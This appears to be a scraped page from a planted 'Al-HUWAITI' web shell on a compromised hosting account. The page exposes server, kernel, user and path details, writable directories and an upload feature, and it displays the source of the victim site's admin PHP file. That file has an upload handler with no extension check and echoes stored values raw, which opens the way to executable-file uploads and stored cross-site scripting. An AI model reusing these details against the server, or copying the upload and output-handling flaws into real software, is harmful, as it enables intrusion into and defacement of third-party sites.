Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/ellexsleevesapartments.com/public_html/admin1249/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/ellexsleevesapartments.com/public_html/admin1249/home_background.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Home Video</title>
<?php
if (isset($_POST['add_homepage_picture'])) {
	
	$heading = $_POST['heading'];
	$paragraph = $_POST['paragraph'];
	
	if( ($_FILES["fileField"]["type"]=="") == false ){
		$random_id = substr(md5(rand()), 0, 20);
		$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField']['tmp_name'], "../site_img/home_background/$random_id.$extension");
		$picture ="$random_id.$extension";
		
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO picture_slider VALUES (?,?,?,?)');
		$stmt -> bind_param('isss', $db_id,$heading,$paragraph,$picture);
		$stmt -> execute();
	 
		//create a session to verify it's coming from here
		$_SESSION["action"] = "true";
		$message="Picture successfully added.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
	}
	
	else{
	$_SESSION["action"] = "true";
	$message="No picture found to upload.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=$page_name&m=$message\">";
	}
}
?>
<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2>Video and caption</h2>
		<p></p>
	</div>

        <!--<div class="row">

          <div class="col-lg-6 mt-5 mt-lg-0 d-flex align-items-stretch">
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
			<div class='validate'><?php echo $error; ?></div>
              
			  <div class="form-row">
                <div class="form-group col-md-6">
					<input type="text" name="heading" class="form-control" placeholder="Heading" required /> 
                </div>
				
                <div class="form-group col-md-6">
					<input type="text" name="paragraph" class="form-control" placeholder="Paragraph" required /> 
                </div>
              </div>
			  
			  <div class="form-row">
                <div class="form-group col-md-12">
									<label></label>
										<input type='file' name='fileField' class="form-control"  required /> 
                </div>
              </div>
             
              <div class="text-center">
				<button type="submit" name='add_homepage_picture'>Save</button>
			  </div>
            </form>
          </div>
		  <div class="col-lg-6 d-flex align-items-stretch">
            
          </div>

        </div> end row -->
		
		<div class='row'>
	<?php
	$stmt = $con -> prepare('SELECT * FROM picture_slider'); 
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$heading,$paragraph,$picture); 
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
		while ($stmt -> fetch()) { 
		echo"			
		<div class='col-md-4'>";
		if($id == 1){
			echo"<h3>Home Video</h3>";
		}else{
			echo"<h3>Youtube Video</h3>";	
		}

		echo"<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			<div class='form-row'>
                <div class='form-group col-md-12'>
					<input type='"; if($id == 1){echo"text";}else{echo"hidden";} echo"' name='heading' class='form-control' placeholder='Heading'"; echo'value="' .$heading. '"'; echo" required /> 
                </div>
				
                <div class='form-group col-md-12'>
					<input type='"; if($id == 1){echo"text";}else{echo"hidden";} echo"' name='paragraph' class='form-control' placeholder='Paragraph' "; echo'value="' .$paragraph. '"'; echo"required /> 
                </div>
            </div>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>";
				if($id == 1){ echo"
					<video autoplay='' muted='' loop='' id='myVideo' style='width:100%;height:200px;'>
                		<source src='../site_img/home_background/$picture' type='video/mp4'>
            		</video>
					<input type='file' name='fileField' class='form-control'/> ";
					}else{
						$picture = str_replace('width="560"', 'style="width:100%; height:auto;"', $picture);
						echo "<div style='width:100% !important;'>$picture</div>";
						echo"<br/><input type='text' name='fileField' class='form-control'/> ";
					}
					
				echo"</div>
			</div>
		
			
			<div class='text-center'>
				<button type='submit' name='update$id'>Update</button>
				
			</div>
		
		</form>
		</div>
		
		";
		if (isset($_POST["update$id"])) {
			$heading = isset($_POST['heading']) ? $_POST['heading'] : '';
			$paragraph = isset($_POST['paragraph']) ? $_POST['paragraph'] : '';
	
			if( ($_FILES["fileField"]["type"]=="") == false ){
				if($id == 1){
					unlink("../site_img/home_background/$picture");
					$random_id = substr(md5(rand()), 0, 20);
					$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
					move_uploaded_file( $_FILES['fileField']['tmp_name'], "../site_img/home_background/$random_id.$extension");
					$picture ="$random_id.$extension";
				}else{
					$picture = $_POST['fileField'];
				}
			}
			
			$stmt = $con -> prepare('UPDATE picture_slider SET heading = ?,paragraph=?,picture=? WHERE id = ?');
			$stmt -> bind_param('sssi', $heading,$paragraph,$picture,$id);
			$stmt -> execute();
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
						
		if (isset($_POST["delete$id"])) {
			$stmt = $con -> prepare('DELETE FROM picture_slider WHERE id = ?');	
			$stmt -> bind_param('i', $id);
			$stmt -> execute();
			unlink("../site_img/home_background/$picture");
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Picture successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
		
		}
	}
			
		?>
	</div>

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell